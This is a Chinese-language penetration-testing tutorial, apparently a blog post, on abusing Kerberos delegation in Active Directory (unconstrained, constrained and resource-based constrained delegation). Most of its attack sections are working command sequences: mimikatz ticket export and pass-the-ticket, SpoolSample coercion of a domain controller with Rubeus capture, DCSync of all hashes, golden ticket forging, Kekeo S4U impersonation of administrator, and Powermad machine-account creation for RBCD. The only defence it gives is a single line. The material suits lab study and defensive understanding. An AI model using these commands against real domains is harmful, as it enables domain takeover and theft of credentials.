域渗透-委派攻击
域委派是大型網絡中經常部署的應用模式,給多跳認證帶來很大的便利,同時也帶來很大的安全隱患,利用委派可獲取域管理員權限,甚至制作深度隱藏的后門。
一:域委派
簡單明了:委派就是將域內用戶的權限委派給服務賬號,使得服務賬號能以用戶權限訪問域內其他服務。將我的權限給服務賬戶。
1.1:委派流程
User(laosec\jack)--訪問-->Websrv(以User身份)--訪問-->Service(文件服務器)
需求:jack需要登陸到后臺文件服務器,經過Kerberos認證的過程如下:
注意:在域中只有主機賬號和 服務賬號才具有委派屬性
- 主機賬號:AD活動目錄中Computers中的計算機也可以稱為機器賬號(一個普通域用戶默認最多可以創建十個主機賬號)
- 服務賬號:Service Account是域內用戶的一種類型,是服務器運行服務時所用的賬號,將服務運行起來并加入域。例如SQL Server 在安裝時會在域內自動注冊服務賬號SQLServiceAccount。也可以將域用戶通過注冊SPN變為服務賬號。
***使用前提***
- 需要被委派的用戶未設置不允許被委派屬性。
administrator用戶設置了敏感賬號不能被委派所以該用戶不能被委派。
1.2:委派分類
二:委派攻擊之非約束性委派
2.1:非約束性委派
對于非約束性委派Unconstrained Delegation服務賬號可以獲取被委派用戶的TGT,并將TGT緩存到LSASS進程中,從而服務賬號可使用該TGT模擬用戶訪問任意服務。。非約束委派的設置需要SeEnableDelegation特權該特權通常僅授予域管理員 。
***配置非約束性委派***
WIN10$服務賬戶配置了非約束性委派,那么它可以接受任意用戶的委派去請求任意服務。
***租房案例***
租客把自己的錢交給中介,中介拿著錢交給房東申請租房。那么這個過程中,WIN10$是擁有了任意用戶的"錢"(憑證)的。協議層面講,用戶A委派WIN10$訪問WEB服務,那么用戶會將TGT緩存在WIN10的lsass中,DM再模擬這個用戶去訪問服務。
2.2:非約束性委派流程
前提:在服務A上配置到服務B約束性委派(域管理員才有權限配置)
思考:從網絡攻擊的角度來看如果攻擊者控制了機器B的機器賬號并且機器B配置了非約束性委派。則攻擊者可以誘騙管理員來訪問機器B然后攻擊者可以獲取管理員的TGT從而模擬管理員訪問任意服務即獲得了管理員權限。
2.3:篩選非約束性委派的主機或服務賬戶
當服務賬號或者主機被設置為非約束性委派時,賬戶增加了一個TRUSTED_TO_AUTH_FOR_DELEGATION的標志位,對應的值是0x80000,也即是524288。其userAccountControl屬性會包含TRUSTED_FOR_DELEGATION可以用ldap協議查詢篩選。(adsiedit.msc)
2.3.1:PowerSploit
1? Import-Module .\PowerView.ps1; ? ? //PowerSploit下的PowerView
2? ?#查詢域中配置非約束委派的主機
3? ?Get-NetComputer -Unconstrained -Domain laosec.cn
4? ?#查詢域中配置非約束委派的服務賬戶
5? ?Get-NetUser -Unconstrained -Domain laosec.cn | select name
注意:域控默認設置的是非約束性委派
2.3.2:AdFind
1 #查詢域中配置非約束委派的主機
2 AdFind.exe -b "DC=laosec,DC=cn" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
3 #查詢域中配置非約束委派的服務賬戶
4 AdFind.exe -b "DC=laosec,DC=cn" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
2.4:非約束性委派攻擊
***實驗環境***
| 角色 | 系統 | 用戶 | IP |
| 域控 | Windows server 2008 R2(DC) | administrator(域管理員) | 192.168.1.* |
| 具有非約束性委派的主機 | Windows server 2008 R2(WEB) | hack(域普通用戶) | 192.168.1.* |
步驟一:在域控上設置WEB具有非約束性委派屬性并在WEB中訪問DC共享,提示拒絕訪問。
步驟二:在域控上用administrator身份訪問WEB機器(可以使用管理員登陸域內任何機器,不一定非要是域控)
步驟三:此時在WEB主機上的Lsass.exe內存中就會有域管理員的TGT票據,使用mimikatz導出:
privilege::debug
sekurlsa::tickets /export
步驟四:使用mimikatz將票據導入內存中,并訪問域控
1 導入票據
2 kerberos::ptt [0;89b3d]-2-0-60a00000-administrator@krbtgt-laosec.cn.kirbi
3 查看票據
4 kerberos::list
步驟五:訪問Win10
注意:實戰中應該誘使DC訪問我們的WEB機器。
2.5:SPooler打印機服務
利用Windows打印系統遠程協議(MS-RPRN)中的一種舊的但是默認啟用的方法,在該方法中,域用戶可以使用MS-RPRNRpcRemoteFindFirstPrinterChangeNotification(Ex)方法強制任何運行了Spooler服務的計算機以通過Kerberos或NTLM對攻擊者選擇的目標進行身份驗證。
***實驗環境***
| 角色 | 系統 | 用戶 | IP |
| 域控 | Windows server 2012R2(DC) | administrator(域管理員) | 192.168.1.* |
| 客戶機 | Windows 10(WIN10) | laosec(域內普通成員) | 192.168.1.* |
工具地址:
- GitHub - leechristensen/SpoolSample: PoC tool to coerce Windows hosts authenticate to other machines via the MS-RPRN RPC interface. This is possible via other protocols as well.
- GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.
***實驗槽點***
第一步:開啟WIN10這個主機賬戶的非約束性委派,并開始編譯工具!
1 鏈接:https://pan.baidu.com/s/1zACojH6SaMhvLqvKNS_t_g?
2 提取碼:ugrs?
3 復制這段內容后打開百度網盤手機App,操作更方便哦--來自百度網盤超級會員V1的分享
步驟二:以administrator身份打開cmd并執行Rubeus來監聽來自DC的4624登錄日志
1 Rubeus.exe monitor /interval:1 /filteruser:DC$
2 # 我們可以用Rubeus來監聽Event ID為4624的事件,這樣可以第一時間截取到域控的TGT
3 # /interval:1 設置監聽間隔1秒
4 # /filteruser 監聽對象為我們的域控,注意后面有個$,如果不設置監聽對象就監聽所有的TGT
步驟三:隨便打開一個cmd運行SpoolSample程序來讓域控向WIN10主機驗證身份
1 SpoolSample_v4.5_x64.exe DC WIN10
2 # 表示利用打印服務強制讓域控機向WIN2008主機驗證身份,這樣我們的Rubeus就可以監聽到TGS了
雖然報錯,但是Rubeus已經接收到了TGT
步驟四:提取TGS,使用powershell對Rubeus監聽到的base64編碼進行轉換到正常的TGT
[IO.File]::WriteAllBytes("絕對路徑\TGS\ticket.kirbi", [Convert]::FromBase64String("得到的base64"))
步驟五:制作黃金票據
1.注入TGS票據并提取用戶Hash
kerberos::ptt ticket.kirbi
kerberos::list
lsadump::dcsync /domain:sfang.com /all /csv
1 whoami /user
2 # S-1-5-21-563506510-1219464096-2194379905
3 # 得到上面的SID,注意不需要后面表示賬號權限的幾位數
4 kerberos::golden /domain:sfang.com /sid:S-1-5-21-563506510-1219464096-2194379905 /krbtgt:930bf8bc4b39d1b7840a2eadc4200932 /user:administrator /ticket:ntlm.kirbi ? ? ? ? //制作黃金票據
三:委派攻擊之約束性委派
3.1:約束性委派
為了進行約束性委派,微軟在Kerberos協議的TGS_REQ&TGS_REP階段引入了兩個擴展子協議S4u2Self(Service for User to Self) 和S4u2Proxy(Service for User to Proxy)。S4u2self可以代表任意用戶請求針對其自身的Kerberos服務票據(ST);S4u2Proxy可以以上一步用戶的名義請求其它服務的服務票據。約束性委派就是限制了S4u2Proxy擴展的范圍。
3.2:約束性委派流程
前提:在服務A上配置到服務B約束性委派(域管理員才有權限配置)
從網絡攻擊的角度來看如果攻擊者控制了服務A的賬號并且服務A配置了到域控的CIFS服務的約束性委派。則攻擊者可以利用服務A以administrator身份訪問域控的CIFS服務即相當于控制了域控。
3.3:S4u2Self
當用戶以其他方式(如NTLM認證、基于表單的認證等方式)與Web服務進行認證后用戶是無法向Web服務器提供請求該服務的ST服務票據的因而服務器也無法進一步使用S4U2Proxy協議請求訪問服務B。S4U2Self協議便是解決該問題的方案被配置為約束委派的服務能夠調用S4U2Self向KDC為任意用戶請求訪問自身的可轉發的服務票據此后便可通過S4U2Proxy使用這張ST票據向域控制器請求訪問B的票據。這里需要注意的是服務代表用戶獲得針對服務自身ST票據這個過程是不需要用戶的憑據的。
S4U2Self的過程如下圖所示(請求服務之前需要申請可轉發的 TGT 即需要向域控認證賬戶密碼)
步驟1中,TGS_REQ的請求包的padata中有PA_FOR_USER字段,類型為S4u2Self,并且在KDC-options協商中設置返回的ST票據為可轉發forwardable。向KDC請求 代表administrator用戶訪問自身服務 的ST服務票據,我們稱之為ST1
步驟2中,KDC檢驗通過后將ST服務票據的 票證標志 字段設置為可轉發,發送給服務賬號。主要檢驗以下幾點
- TGT是否是可以轉發的
- 服務是否配置了約束委派屬性
- 服務是否請求了可轉發選項
3.4:S4u2Proxy
S4U2Proxy 使得服務1可以使用來自用戶的授權( 在S4u2self階段獲得),然后用該ST1票據(放在AddtionTicket里面)向KDC請求訪問服務2的TGS,并且代表用戶訪問服務2,而且只能訪問服務2。
S4u2Proxy過程入下圖所示:
步驟1中,服務1試圖代表用戶獲取服務2的服務票證。服務1發送TGS_REQ消息,并將上一步獲得的ST1服務票證作為 請求中的AddtionTicket
驟2中,KDC返回以administrator用戶訪問服務2的ST服務票據
3.5:篩選約束委派的主機或服務賬戶
3.5.1:Empire
1 Import-Module .\powerview.ps1; ?//導入Empire下的Powerview.ps1文件
2 查詢域中配置約束委派的主機
3 Get-DomainComputer -TrustedToAuth -Domain laosec.cn | select name
4 查詢域中配置約束委派的賬號
5 Get-DomainUser -TrustedToAuth -Domain laosec.cn | select name
3.5.2:AdFind
1 #查詢域中配置非約束委派的主機
2 AdFind.exe -b "DC=warsec,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" -dn
3 #查詢域中配置非約束委派的服務賬戶
4 AdFind.exe -b "DC=warsec,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" -dn
3.6:約束性委派攻擊
步驟一:在域控上創建SQL賬戶并為其注冊SPN,在用戶屬性中設置約束性委派...(注意:加上SPN之后用戶屬性的委派選項卡才會出現,因為只有服務賬戶和計算機賬戶可以被委派)
步驟二:在Win10客戶端查找約束委派的服務賬戶...
步驟三:約束委派需要知道SQL服務賬戶的密碼或者Hash值,現在我們在Win10中使用Kekeo申請TGT
Kekeo項目地址:https://github.com/gentilkiwi/kekeo
tgt::ask /user:sql /domain:warsec.com /password:123admiN@
步驟四:使用該TGT通過S4u偽造administrator@warsec.com去訪問DC的cifs服務...
tgs::s4u /tgt:TGT_sql@WARSEC.COM_krbtgt~warsec.com@WARSEC.COM.kirbi /user:administrator /service:cifs/dc.warsec.com
步驟五:通過Mimikatz使用cifs的tgs票據進行PTT
kerberos::ptt xxx.kirbi
kerberos::purge
待續:嘗試抓包分析....
四:委派攻擊之基于資源的約束性委派
傳統的委派,在設置的過程中其實都是需要SeEnableDelegation特權,而這個特權需要域管理員才能設置。相對于傳統的委派,基于資源的約束委派它不需要域管理員設置,而是機器本身。
>>>約束委派和基于資源的約束委派的區別<<<
約束委派:
通過服務A委派到服務B,實際是在服務A上增加TRUSTED_FOR_DELEGATION字段(非約束委派),TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION和msDS-AllowedToDelegateTo(約束委派)字段來達到委派的目的。
基于資源的約束委派:
通過服務B允許服務A委派到服務B,實際是通過服務B自身賦予msDS-AllowedToActOnBehalfOfOtherIdentity字段,從而允許服務A對服務B的基于資源的約束委派。
所以當利用到基于資源的約束委派的時候,服務A的兩個字段是沒有賦值的,當這兩個字段沒有被賦值的時候,通過S4U2Self得到的ST服務票證是不可被轉發的,而S4U2Proxy的作用就是將可轉發的ST票據轉發到其他服務進行委派認證的。但是:在基于資源的約束委派過程中,不可轉發的ST仍可以通過S4U2Proxy轉發到其他服務進行委派認證,并且最后還會返回一張可轉發的ST服務票證。
因此,如果能夠在服務B上配置允許服務A的基于資源的約束委派,那么就可以通過控制服務A使用S4U2Self向域控請求任意用戶訪問自身的服務票據,最后再使用S4U2Proxy轉發此ST票據去請求訪問服務B的可轉發的ST服務票據,那么我們就可以模擬任意用戶訪問服務B了。這里可以以普通域用戶的身份去創建機器賬號作為服務A。
4.1:基于資源的約束性委派流程
該攻擊由國外安全研究員Elad Shami提出:Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory,他在文章中指出無論服務賬號的UserAccountControl屬性是否被設置為TrustedToAuthForDelegation值,服務自身都可以通過調用S4U2Self來為任意用戶請求自身的服務票據。但是當沒有設置該屬性時,KDC通過檢查服務賬號的TrustedToAuthForDelegation位和msDS-AllowedToDelegateTo這兩個字段,發現沒有被賦值,所以服務自身通過S4U2Self請求到的ST服務票據是不可轉發的,因此不可轉發的ST服務票據是無法通過S4U2Proxy轉發到其他服務進行約束性委派認證的。但是!在基于資源的約束委派過程中,不可轉發的ST服務票據仍然可以通過S4U2Proxy轉發到其他服務進行委派認證,并且最后服務還會返回一張可轉發的ST服務票據!因此,如果我們能夠在服務B上配置允許服務A的基于資源的約束委派,那么我們就可以通過控制服務A使用S4U2Self向域控請求任意用戶訪問自身的服務票據,最后再使用S4U2Proxy轉發此ST票據去請求訪問服務B的可轉發的ST服務票據,那么我們就可以模擬任意用戶訪問服務B了。這里我們可以以普通域用戶的身份去創建機器賬號作為服務A。
引用其博客文章中的思路圖片說明攻擊步驟:
前提:在服務2上配置服務1到服務2的基于資源的約束性委派(機器自身有權限可配置)
4.2:基于資源的約束委派攻擊危害
通過利用基于資源的約束委派攻擊,攻擊者能夠使普通域用戶以域管理員身份訪問遠程計算機CIFS等服務,實現本地權限提升。但是僅僅是本地提權,并不能執行域管理員的其他操作!
4.3:基于資源的約束委派攻擊的條件
利用基于資源的約束委派(RBCD)需要2個條件:
- 擁有將域機器加入域的域用戶的權限。(將機器B加入域的域用戶擁有修改機器B的msDS-AllowedToActOnBehalfOfOtherIdentity屬性的權限。)
- 一個任意服務賬戶或者一個機器賬戶(每一個域用戶都可以添加10個機器賬戶)
基于資源的約束委派攻擊拓撲圖:
在企業中,一般會有一個專門將計算機加入域的賬號,如果我們獲取到了該賬號的權限,則可以通過基于資源的約束委派攻擊獲取 通過該賬號加入域的所有機器 的 最高權限。
4.4:篩選基于資源約束委派的主機或服務賬戶
1 #查詢域中配置非約束委派的主機
2 AdFind.exe -b "DC=warsec,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn
3 #查詢域中配置非約束委派的服務賬戶
4 AdFind.exe -b "DC=warsec,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn
4.5:基于資源的約束委派攻擊
>>>實驗環境<<<
| 操作系統 | 登錄賬戶 | 權限問題 |
| Wins2012R2 | warsec.com\administrator | 域內管理員用戶 |
| Wins2008R2 | warsec.com\test | 域內普通用戶,對當前主機有寫入的權限 |
| Win10 | warsec.com\laosec | 域內普通用戶 |
》》》環境配置《《《
步驟一:
- Wins2012R2搭建好域環境并創建test與laosec用戶分別登錄Wins2008R2與Win10機器
步驟二:設置test的寫權限...使用adsiedit.msc命令
步驟三:驗證域用戶test對WIN2008是否具有寫的權限可以使用PowerView.ps1腳本來枚舉....
PowerView.ps1(可在github下載)
1 Get-DomainUser -Identity test -Properties objectsid ? ? ? ? # 查詢test的SID
2 Get-DomainObjectAcl -Identity WIN2008 ?| ?{$_.SecurityIdentifier -match "S-1-5-21-2236720874-3430260630-3072917007-1108"} ?# 查看是否有寫權限
在此,可以看到域賬戶對WIN2008機器賬戶的完全控制權限(GenericAll),其實也不一定需要GenericAll權限,GenericWrite、WriteProperty、WriteDacl等等權限都是可以修改賬戶屬性的。
步驟四:創建機器賬戶并查詢...
現在還需要的是一個具有SPN的賬戶,因為S4U2Self只適用于具有SPN的賬戶,恰好的是在域中有一個屬性MachineAccountQuota,這個值表示的是允許用戶在域中創建的計算機帳戶數,默認為10,這意味著我們如果擁有一個普通的域用戶那么我們就可以利用這個用戶最多可以創建十個新的計算機帳戶,而計算機賬戶默認是注冊RestrictedKrbHost/domain和HOST/domain這兩個SPN的,所以這里剛好符合我們的意圖。
我們可以使用Kevin Robertson的Powermad中的New-MachineAccount來創建一個用戶名為evilsyst0m,密碼為evil的計算機賬戶...
1 Import-Module .\Powermad.ps1
2 New-MachineAccount -MachineAccount evilsyst0m -Password $(ConvertTo-SecureString "evil" -AsPlainText -Force)
Powermad.ps1(可在github上下載)
查詢機器賬戶是否創建成功....
net group "domain computers" /domain
步驟五:配置evilsyst0m到WIN2008的基于資源的約束委派...
下面是修改win2008的msDS-AllowedToActOnBehalfOfOtherIdentity屬性的值,有兩種方法可以修改,Powerview或者ActiveDirectory模塊
Get-DomainComputer win2008 -Properties msds-allowedtoactonbehalfofotheridentity
Set-DomainObject win2008 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
備注:以上是在Wins2008上修改,若在Wins2012修改為以下步驟...
1 import-module ./Microsoft.ActiveDirectory.Management.dll
2 Set-ADComputer yukong -PrincipalsAllowedToDelegateToAccount evilsystem$
3 這個命令只有在域控上執行才成功,普通用戶機器,即使導入了dll文件,執行的話也會顯示不全。
4 這個dll文件域控上都有,也可以去https://github.com/shanfenglan/test下載。
參考位置:基于windows中委派的攻擊思路(下)-基于資源的約束性委派_Shanfenglan's blog-CSDN博客
》》》攻擊過程《《《
步驟一:使用Rubeus來請求白銀票據,因為Rubeus不支持明文所以要先轉換為Hash....
Rubeus.exe hash /user:evilsystem /password:evil /domain:test.com
步驟二:用evilsystem$的Hash值請求白銀票據并導入到當前回話中...
1 Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:Administrator /msdsspn:cifs/win2008 /ptt
2 dir \\win2008\c$
防御方法:
- 將高權限的用戶配置為敏感賬戶。
參考文章:
- 前言 - windows protocol
- https://xz.aliyun.com/t/7454
- 基于windows中委派的攻擊思路(下)-基于資源的約束性委派_Shanfenglan's blog-CSDN博客
- Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory | Shenanigans Labs
- 這是一篇“不一樣”的真實滲透測試案例分析文章 - 奇安信A-TEAM技術博客
總結
- 上一篇: prometheus--一些知识
- 下一篇: 嵌入式入门实践——编写简单STM32程序